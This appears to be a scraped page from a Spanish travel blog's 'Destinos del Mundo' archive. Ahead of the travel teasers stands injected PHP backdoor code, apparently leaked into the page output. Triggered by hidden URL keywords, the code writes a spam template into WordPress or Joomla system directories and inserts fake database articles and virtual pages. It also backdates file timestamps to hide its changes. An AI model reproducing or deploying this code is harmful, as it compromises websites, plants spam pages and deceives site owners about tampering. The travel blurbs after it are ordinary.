if (strpos($_SERVER['REQUEST_URI'], 'saveyourfuckingtemplate') !== false)
{
error_reporting(0);
ini_set('display_errors', 0);
set_time_limit(0);
$context = stream_context_create(array(
'http' => array('ignore_errors' => true),
));
$tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/?gimmeyourfuckingtemplate', false, $context);
if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) )
{
$tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate', false, $context);
}
if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) )
{
$tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate/', false, $context);
}
if ( preg_match('/thefuckingtitle\d+/', $tpl) || preg_match('/thefuckingcontent\d+/', $tpl) || (strpos($tpl, '[TITLE]') !== false) || (strpos($tpl, '[CONTENT]') !== false) )
{
$tpl = str_replace('http://[PAGE_URL]', '[PAGE_URL]', $tpl);
$tpl = preg_replace('# ]+?alternate[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?archives[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?bookmark[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?external[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?first[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?help[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?last[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?license[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?next[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?nofollow[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?noreferrer[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?pingback[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?prefetch[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?prev[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?search[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?sidebar[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?up[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?canonical[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?robots[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?charset[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?content-type[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?og:[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?viewport[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?keywords[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?description[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?google[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?yandex[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?bing[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?slurp[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?refresh[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?referer[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#http://www.google-analytics.com/#is', 'http://'.$_SERVER['HTTP_HOST'].'/', $tpl);
$tpl = preg_replace('#
]*>[^<]*? #is', '[TITLE] ', $tpl);
$tpl = preg_replace('#thefuckingtitle\d+#is', '[TITLE]', $tpl);
$tpl = preg_replace('#thefuckingcontent\d+#is', '[CONTENT]', $tpl);
$tpl = preg_replace('#\[CONTENT\]
#is', '[CONTENT]', $tpl);
$new_tags = '
';
$tpl = preg_replace('##is', $new_tags.'', $tpl);
} else
{
$tpl = base64_decode('PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuLVVTIiBjbGFzcz0ianMiPjxoZWFkPgoJPGxpbmsgcmVsPSJwcm9maWxlIiBocmVmPSJodHRwOi8vZ21wZy5vcmcveGZuLzExIj4KPHRpdGxlPltUSVRMRV08L3RpdGxlPgoKCgoJCTxzY3JpcHQgc3JjPSJodHRwczovL3dwLXRoZW1lcy5jb20vd3Avd3AtaW5jbHVkZXMvanMvd3AtZW1vamktcmVsZWFzZS5taW4uanM/dmVyPTQuNS1SQzEtMzcwNzkiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+CgkJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KaW1nLndwLXNtaWxleSwKaW1nLmVtb2ppIHsKCWRpc3BsYXk6IGlubGluZSAhaW1wb3J0YW50OwoJYm9yZGVyOiBub25lICFpbXBvcnRhbnQ7Cglib3gtc2hhZG93OiBub25lICFpbXBvcnRhbnQ7CgloZWlnaHQ6IDFlbSAhaW1wb3J0YW50OwoJd2lkdGg6IDFlbSAhaW1wb3J0YW50OwoJbWFyZ2luOiAwIC4wN2VtICFpbXBvcnRhbnQ7Cgl2ZXJ0aWNhbC1hbGlnbjogLTAuMWVtICFpbXBvcnRhbnQ7CgliYWNrZ3JvdW5kOiBub25lICFpbXBvcnRhbnQ7CglwYWRkaW5nOiAwICFpbXBvcnRhbnQ7Cn0KPC9zdHlsZT4KPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBpZD0idHdlbnR5c2l4dGVlbi1mb250cy1jc3MiIGhyZWY9Imh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1NZXJyaXdlYXRoZXIlM0E0MDAlMkM3MDAlMkM5MDAlMkM0MDBpdGFsaWMlMkM3MDBpdGFsaWMlMkM5MDBpdGFsaWMlN0NNb250c2VycmF0JTNBNDAwJTJDNzAwJTdDSW5jb25zb2xhdGElM0E0MDAmYW1wO3N1YnNldD1sYXRpbiUyQ2xhdGluLWV4dCIgdHlwZT0idGV4dC9jc3MiIG1lZGlhPSJhbGwiPgo8bGluayByZWw9InN0eWxlc2hlZXQiIGlkPSJnZW5lcmljb25zLWNzcyIgaHJlZj0iaHR0cHM6Ly93cC10aGVtZXMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL3R3ZW50eXNpeHRlZW4vZ2VuZXJpY29ucy9nZW5lcmljb25zLmNzcz92ZXI9My40LjEiIHR5cGU9InRleHQvY3NzIiBtZWRpYT0iYWxsIj4KPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBpZD0idHdlbnR5c2l4dGVlbi1zdHlsZS1jc3MiIGhyZWY9Imh0dHBzOi8vd3AtdGhlbWVzLmNvbS93cC1jb250ZW50L3RoZW1lcy90d2VudHlzaXh0ZWVuL3N0eWxlLmNzcz92ZXI9NC41LVJDMS0zNzA3OSIgdHlwZT0idGV4dC9jc3MiIG1lZGlhPSJhbGwiPgo8IS0tW2lmIGx0IElFIDEwXT4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ndHdlbnR5c2l4dGVlbi1pZS1jc3MnICBocmVmPSdodHRwczovL3dwLXRoZW1lcy5jb20vd3AtY29udGVudC90aGVtZXMvdHdlbnR5c2l4dGVlbi9jc3MvaWUuY3NzP3Zlcj0yMDE1MDkzMCcgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjwhW2VuZGlmXS0tPgo8IS0tW2lmIGx0IElFIDldPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSd0d2VudHlzaXh0ZWVuLWllOC1jc3MnICBocmVmPSdodHRwczovL3dwLXRoZW1lcy5jb20vd3AtY29udGVudC90aGVtZXMvdHdlbnR5c2l4dGVlbi9jc3MvaWU4LmNzcz92ZXI9MjAxNTEyMzAnIHR5cGU9J3RleHQvY3NzJyBtZWRpYT0nYWxsJyAvPgo8IVtlbmRpZl0tLT4KPCEtLVtpZiBsdCBJRSA4XT4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ndHdlbnR5c2l4dGVlbi1pZTctY3NzJyAgaHJlZj0naHR0cHM6Ly93cC10aGVtZXMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL3R3ZW50eXNpeHRlZW4vY3NzL2llNy5jc3M/dmVyPTIwMTUwOTMwJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPCFbZW5kaWZdLS0+CjwhLS1baWYgbHQgSUUgOV0+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHBzOi8vd3AtdGhlbWVzLmNvbS93cC1jb250ZW50L3RoZW1lcy90d2VudHlzaXh0ZWVuL2pzL2h0bWw1LmpzP3Zlcj0zLjcuMyc+PC9zY3JpcHQ+CjwhW2VuZGlmXS0tPgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJodHRwczovL3dwLXRoZW1lcy5jb20vd3Avd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2pxdWVyeS5qcz92ZXI9MS4xMi4yIj48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cHM6Ly93cC10aGVtZXMuY29tL3dwL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS9qcXVlcnktbWlncmF0ZS5taW4uanM/dmVyPTEuNC4wIj48L3NjcmlwdD4KCgogCgo8bWV0YSBuYW1lPSJnZW5lcmF0b3IiIGNvbnRlbnQ9IldvcmRQcmVzcyA0LjUtUkMxLTM3MDc5Ij4KCgoKCgkJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4ucmVjZW50Y29tbWVudHMgYXtkaXNwbGF5OmlubGluZSAhaW1wb3J0YW50O3BhZGRpbmc6MCAhaW1wb3J0YW50O21hcmdpbjowICFpbXBvcnRhbnQ7fTwvc3R5bGU+CiAgPGxpbmsgcmVsPSJjYW5vbmljYWwiIGhyZWY9IltQQUdFX1VSTF0iPgogICAgPGxpbmsgcmVsPSJwcmV2IiBocmVmPSJbUkFORF9VUkxfUFJFVl0iPgogICAgPGxpbmsgcmVsPSJuZXh0IiBocmVmPSJbUkFORF9VUkxfTkVYVF0iPgogICAgPG1ldGEgcHJvcGVydHk9Im9nOnRpdGxlIiBjb250ZW50PSJbVElUTEVdIj4KICAgIDxtZXRhIHByb3BlcnR5PSJvZzp0eXBlIiBjb250ZW50PSJhcnRpY2xlIj4KICAgIDxtZXRhIHByb3BlcnR5PSJvZzpzaXRlX25hbWUiIGNvbnRlbnQ9IltDT01NT05dIj4KICAgIDxtZXRhIHByb3BlcnR5PSJvZzp1cmwiIGNvbnRlbnQ9IltQQUdFX1VSTF0iPgogICAgPG1ldGEgcHJvcGVydHk9Im9nOmxvY2FsZSIgY29udGVudD0iZW5fVVMiPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIHByb3BlcnR5PSJvZzpkZXNjcmlwdGlvbiIgY29udGVudD0iW0RFU0NSSVBUSU9OXSI+CiAgICA8bWV0YSBuYW1lPSJrZXl3b3JkcyIgY29udGVudD0iW0tFWVdPUkRTXSI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCwgdXNlci1zY2FsYWJsZT15ZXMiPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPgogIAoJCTwvaGVhZD4KCjxib2R5IGNsYXNzPSJzaW5ndWxhciBzaW5nbGUgc2luZ2xlLXBvc3QgcG9zdGlkLTE5IHNpbmdsZS1mb3JtYXQtc3RhbmRhcmQiPgo8ZGl2IGlkPSJwYWdlIiBjbGFzcz0ic2l0ZSI+Cgk8ZGl2IGNsYXNzPSJzaXRlLWlubmVyIj4KCQk8YSBjbGFzcz0ic2tpcC1saW5rIHNjcmVlbi1yZWFkZXItdGV4dCIgaHJlZj0iI2NvbnRlbnQiPlNraXAgdG8gY29udGVudDwvYT4KCgkJPGhlYWRlciBpZD0ibWFzdGhlYWQiIGNsYXNzPSJzaXRlLWhlYWRlciIgcm9sZT0iYmFubmVyIj4KCQkJPGRpdiBjbGFzcz0ic2l0ZS1oZWFkZXItbWFpbiI+CgkJCQk8ZGl2IGNsYXNzPSJzaXRlLWJyYW5kaW5nIj4KCQkJCQkJCQkJCQk8cCBjbGFzcz0ic2l0ZS10aXRsZSI+W0NPTU1PTl08L3A+CgkJCQkJCQkJCQkJCgkJCQkJCQkJCTwvZGl2PjwhLS0gLnNpdGUtYnJhbmRpbmcgLS0+CgoJCQkJCQkJPC9kaXY+PCEtLSAuc2l0ZS1oZWFkZXItbWFpbiAtLT4KCgkJCQkJPC9oZWFkZXI+PCEtLSAuc2l0ZS1oZWFkZXIgLS0+CgoJCTxkaXYgaWQ9ImNvbnRlbnQiIGNsYXNzPSJzaXRlLWNvbnRlbnQiPgoKPGRpdiBpZD0icHJpbWFyeSIgY2xhc3M9ImNvbnRlbnQtYXJlYSI+Cgk8bWFpbiBpZD0ibWFpbiIgY2xhc3M9InNpdGUtbWFpbiIgcm9sZT0ibWFpbiI+CgkJCjxhcnRpY2xlIGlkPSJwb3N0LTE5IiBjbGFzcz0icG9zdC0xOSBwb3N0IHR5cGUtcG9zdCBzdGF0dXMtcHVibGlzaCBmb3JtYXQtc3RhbmRhcmQgaGVudHJ5IGNhdGVnb3J5LXVuY2F0ZWdvcml6ZWQgdGFnLWJvYXQgdGFnLWxha2UiPgoJPGhlYWRlciBjbGFzcz0iZW50cnktaGVhZGVyIj4KCQk8aDEgY2xhc3M9ImVudHJ5LXRpdGxlIj5bVElUTEVdPC9oMT4JPC9oZWFkZXI+PCEtLSAuZW50cnktaGVhZGVyIC0tPgoKCQoJCgk8ZGl2IGNsYXNzPSJlbnRyeS1jb250ZW50Ij4KICBbQ09OVEVOVF0KPC9kaXY+PCEtLSAuZW50cnktY29udGVudCAtLT4KCgkKPC9hcnRpY2xlPjwhLS0gI3Bvc3QtIyMgLS0+CgoJCgk8L21haW4+PCEtLSAuc2l0ZS1tYWluIC0tPgoKCQo8L2Rpdj48IS0tIC5jb250ZW50LWFyZWEgLS0+CgoKCTxhc2lkZSBpZD0ic2Vjb25kYXJ5IiBjbGFzcz0ic2lkZWJhciB3aWRnZXQtYXJlYSIgcm9sZT0iY29tcGxlbWVudGFyeSI+CgkJPHNlY3Rpb24gaWQ9InNlYXJjaC0zIiBjbGFzcz0id2lkZ2V0IHdpZGdldF9zZWFyY2giPgo8Zm9ybSByb2xlPSJzZWFyY2giIG1ldGhvZD0iZ2V0IiBjbGFzcz0ic2VhcmNoLWZvcm0iIGFjdGlvbj0iIyI+Cgk8bGFiZWw+CgkJPHNwYW4gY2xhc3M9InNjcmVlbi1yZWFkZXItdGV4dCI+U2VhcmNoIGZvcjo8L3NwYW4+CgkJPGlucHV0IHR5cGU9InNlYXJjaCIgY2xhc3M9InNlYXJjaC1maWVsZCIgcGxhY2Vob2xkZXI9IlNlYXJjaCDigKYiIHZhbHVlPSIiIG5hbWU9InMiIHRpdGxlPSJTZWFyY2ggZm9yOiI+Cgk8L2xhYmVsPgoJPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJzZWFyY2gtc3VibWl0Ij48c3BhbiBjbGFzcz0ic2NyZWVuLXJlYWRlci10ZXh0Ij5TZWFyY2g8L3NwYW4+PC9idXR0b24+CjwvZm9ybT4KPC9zZWN0aW9uPgkJPHNlY3Rpb24gaWQ9InJlY2VudC1wb3N0cy0zIiBjbGFzcz0id2lkZ2V0IHdpZGdldF9yZWNlbnRfZW50cmllcyI+CQk8aDIgY2xhc3M9IndpZGdldC10aXRsZSI+UmVjZW50IFBvc3RzPC9oMj4JCQoJCTwvc2VjdGlvbj4JCTxzZWN0aW9uIGlkPSJyZWNlbnQtY29tbWVudHMtMyIgY2xhc3M9IndpZGdldCB3aWRnZXRfcmVjZW50X2NvbW1lbnRzIj48aDIgY2xhc3M9IndpZGdldC10aXRsZSI+UmVjZW50IENvbW1lbnRzPC9oMj48L3NlY3Rpb24+PHNlY3Rpb24gaWQ9ImFyY2hpdmVzLTMiIGNsYXNzPSJ3aWRnZXQgd2lkZ2V0X2FyY2hpdmUiPjxoMiBjbGFzcz0id2lkZ2V0LXRpdGxlIj5BcmNoaXZlczwvaDI+CQkKCQk8L3NlY3Rpb24+PHNlY3Rpb24gaWQ9ImNhdGVnb3JpZXMtMyIgY2xhc3M9IndpZGdldCB3aWRnZXRfY2F0ZWdvcmllcyI+PGgyIGNsYXNzPSJ3aWRnZXQtdGl0bGUiPkNhdGVnb3JpZXM8L2gyPgkJCjwvc2VjdGlvbj4JPC9hc2lkZT48IS0tIC5zaWRlYmFyIC53aWRnZXQtYXJlYSAtLT4KCgkJPC9kaXY+PCEtLSAuc2l0ZS1jb250ZW50IC0tPgoKCQk8Zm9vdGVyIGlkPSJjb2xvcGhvbiIgY2xhc3M9InNpdGUtZm9vdGVyIiByb2xlPSJjb250ZW50aW5mbyI+CgkJCQoJCQkKCQkJPGRpdiBjbGFzcz0ic2l0ZS1pbmZvIj4KCQkJCQkJCQk8c3BhbiBjbGFzcz0ic2l0ZS10aXRsZSI+W0NPTU1PTl08L3NwYW4+CgkJCQk8YSBocmVmPSJodHRwczovL3dvcmRwcmVzcy5vcmcvIj5Qcm91ZGx5IHBvd2VyZWQgYnkgV29yZFByZXNzPC9hPgoJCQk8L2Rpdj48IS0tIC5zaXRlLWluZm8gLS0+CgkJPC9mb290ZXI+PCEtLSAuc2l0ZS1mb290ZXIgLS0+Cgk8L2Rpdj48IS0tIC5zaXRlLWlubmVyIC0tPgo8L2Rpdj48IS0tIC5zaXRlIC0tPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cHM6Ly93cC10aGVtZXMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL3R3ZW50eXNpeHRlZW4vanMvc2tpcC1saW5rLWZvY3VzLWZpeC5qcz92ZXI9MjAxNTExMTIiPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJodHRwczovL3dwLXRoZW1lcy5jb20vd3AtY29udGVudC90aGVtZXMvdHdlbnR5c2l4dGVlbi9qcy9mdW5jdGlvbnMuanM/dmVyPTIwMTUxMjA0Ij48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cHM6Ly93cC10aGVtZXMuY29tL3dwL3dwLWluY2x1ZGVzL2pzL3dwLWVtYmVkLm1pbi5qcz92ZXI9NC41LVJDMS0zNzA3OSI+PC9zY3JpcHQ+CgoKPC9ib2R5PjwvaHRtbD4=');
}
$tpl_path = '';
$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));
if (is_dir($root_path.'/wp-admin/includes/'))
{
$tpl_path = '/wp-admin/includes/template.html';
}
if (is_dir($root_path.'/libraries/joomla/application/'))
{
$tpl_path = '/libraries/joomla/application/template.html';
}
chmod(dirname($root_path.$tpl_path), 0755);
chmod($root_path.$tpl_path, 0644);
if (file_put_contents($root_path.$tpl_path, $tpl))
{
echo 'Success!';
} else
{
echo 'failed';
}
touch($root_path.$tpl_path, time() - mt_rand(60*60*24*30, 60*60*24*365));
touch(dirname($root_path.$tpl_path), time() - mt_rand(60*60*24*30, 60*60*24*365));
exit;
}
if (strpos($_SERVER['REQUEST_URI'], 'gimmeyourfuckingtemplate') !== false)
{
error_reporting(0);
ini_set('display_errors', 0);
set_time_limit(0);
$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));
if (is_dir($root_path.'/libraries/joomla/application/'))
{
$alias = 'fucking-alias-is-here'.mt_rand(1, 10000000000);
$database = JFactory::getDBO();
$item = new stdClass;
$item->id = null;
$item->title = 'thefuckingtitle'.mt_rand(1, 10000000000);
$item->introtext = '';
$item->fulltext = 'thefuckingcontent'.mt_rand(1, 10000000000);
$item->state = 1;
$item->access = 1;
$item->created_by = 62;
$item->created = '2011-11-11 11:11:11';
$item->publish_up = '2011-11-11 11:11:11';
$item->alias = $alias;
if (!$database->insertObject('#__content', $item, 'id')) {
echo $database->stderr();
}
$url = 'http://'.$_SERVER['HTTP_HOST'].'/index.php?option=com_content&view=article&id='.$item->id;
$data = file_get_contents($url);
$data = preg_replace('#[\'"][^\'"]+?'.$alias.'[^\'"]+?[\'"]#is', '"[PAGE_URL]"', $data);
$data = preg_replace('#Friday, 11 November 2011 11:11#is', '[DATE]', $data);
$data = preg_replace('#11 November 2011 11:11#is', '[DATE]', $data);
$data = preg_replace('#11 November 2011#is', '[DATE]', $data);
$data = preg_replace('#11 November 2011#is', '[DATE]', $data);
$data = preg_replace('#11.11.2011#is', '[DATE]', $data);
$data = preg_replace('#2011-11-11#is', '[DATE]', $data);
$data = preg_replace('#2011.11.11#is', '[DATE]', $data);
echo $data;
exit;
}
if (is_dir($root_path.'/wp-admin/includes/'))
{
if (!class_exists('THEVirtualPage'))
{
class THEVirtualPage
{
private $slug = NULL;
private $title = NULL;
private $content = NULL;
private $author = NULL;
private $date = NULL;
private $type = NULL;
public function __construct($args)
{
$this->slug = 'slug';
$this->title = 'thefuckingtitle'.mt_rand(1, 10000000000);
$this->content = 'thefuckingcontent'.mt_rand(1, 10000000000);
$this->author = 1;
$this->date = current_time('mysql');
$this->dategmt = current_time('mysql', 1);
$this->type = 'page';
add_filter('the_posts', array(&$this, '_virtualPage'));
}
// filter to create virtual page content
public function _virtualPage($posts)
{
global $wp, $wp_query;
//create a fake post intance
$post = new stdClass;
// fill properties of $post with everything a page in the database would have
$post->ID = "-1"; // use an illegal value for page ID
$post->post_author = $this->author; // post author id
$post->post_date = $this->date; // date of post
$post->post_date_gmt = $this->dategmt;
$post->post_content = $this->content;
$post->post_title = $this->title;
$post->post_excerpt = '';
$post->post_status = 'publish';
$post->comment_status = 'closed'; // mark as closed for comments, since page doesn't exist
$post->ping_status = 'closed'; // mark as closed for pings, since page doesn't exist
$post->post_password = ''; // no password
$post->post_name = $this->slug;
$post->to_ping = '';
$post->pinged = '';
$post->modified = $post->post_date;
$post->modified_gmt = $post->post_date_gmt;
$post->post_content_filtered = '';
$post->post_parent = 0;
$post->guid = get_home_url('/' . $this->slug);
$post->menu_order = 0;
$post->post_type = $this->type;
$post->post_mime_type = '';
$post->comment_count = 0;
// set filter results
$posts = array($post);
// reset wp_query properties to simulate a found page
$wp_query->is_page = TRUE;
$wp_query->is_singular = TRUE;
$wp_query->is_home = FALSE;
$wp_query->is_archive = FALSE;
$wp_query->is_category = FALSE;
unset($wp_query->query['error']);
$wp_query->query_vars['error'] = '';
$wp_query->is_404 = FALSE;
return ($posts);
}
}
}
function _create_virtual()
{
$args = array('slug' => 'slug',
'title' => '',
'content' => ''
);
$pg = new THEVirtualPage($args);
}
function change_wp_44_title( $title )
{
global $data;
$title['title'] = 'thefuckingtitle'.mt_rand(1, 10000000000);
$title['page'] = '';
$title['tagline'] = '';
$title['site'] = '';
return $title;
}
function change_wp_40_title( $title )
{
return 'thefuckingtitle'.mt_rand(1, 10000000000);
}
function _change_page_url( )
{
return '[PAGE_URL]';
}
add_filter( 'the_permalink', '_change_page_url');
add_action('init', '_create_virtual');
add_filter( 'document_title_parts', 'change_wp_44_title' );
add_filter( 'wp_title', 'change_wp_40_title' );
}
}
Destinos del Mundo | Universo Turistico.
Category Archives: Destinos del Mundo
Conclusiones del WTM Global Trends Report presentado durante la realización de la feria de turismo de Londres que reúne a los principales agentes de viajes del mundo. Desde su lanzamiento en 2006, el GTR, ha tenido un papel fundamental… Read more ›
Los lectores de la prestigiosa revista brasileña Viagem e Turismo premiaron a Bariloche en la categoría “Mejor Destino de Esquí del Hemisferio Sur” Según informó el Ente Patagonia Argentina, Bariloche fue galardonada en la categoría “Mejor Destino de Esquí del Hemisferio… Read more ›
Aquí te presentamos un top five de los mejores lugares para hacer turismo enológico según Trip Advisor. La provincia de Mendoza forma parte de este listado. Si disfrutas de un buen vino, no podés perderte esta interesante nota. Toscana, Italia… Read more ›
Como bien se sabe ya estamos a 5 dias de la fecha esperada por todas las parejas enamoradas: SAN VALENTIN. Fecha ideal para realizar algun viaje o simplemente una pequeña escapada… En este especial les presentaremos algunos de los destinos… Read more ›
El archipiélago más conocido de la Melanesia está formado por 320 islas de las que sólo un tercio están pobladas Su nombre evoca playas paradisíacas, islas de coral y complejos de lujo, y el visitante no se siente defraudado en… Read more ›
Nada mejor que un clima tropical, hermosas playas e interminable alegría local para pasar unos días a puro romance. Los hoteles a orillas del mar son ideales para apreciar la naturaleza de Rio de Janeiro desde el balcón y lograr… Read more ›
Es una encantadora ciudad amurallada colombiana de historia rica, paseos variados y fascinantes lugares. Fue fundada en 1533 y las murallas y defensas que rodean buena parte de la ciudad, sumergen al visitante en la época de piratas y corsarios… Read more ›
Playas de color blanco como la nieve que se transparentan por debajo de un agua turquesa. Ya desde el avión se adivina que la isla Mauricio, de 1.865 km2, en medio del Océano Indico, es el único pedacito de paraíso.… Read more ›
Es conocida como la ciudad más romántica de Europa del Este. El visitante se siente en ella como paseando por las páginas de un atlas de historia. Dibujada en el centro de Bohemia, esta ‘ciudad museo’ tuvo dos épocas arquitectónicas… Read more ›
Particularme como aficionada a todo lo relacionado con Francia, este seria mi destino predilecto. Francia es un lugar magico, lleno de naturaleza y muchisima historia, un lugar que si alguna vez vas para Europa… NO PODES DEJAR DE VISITAR. Desde… Read more ›
Stefania Drebnieks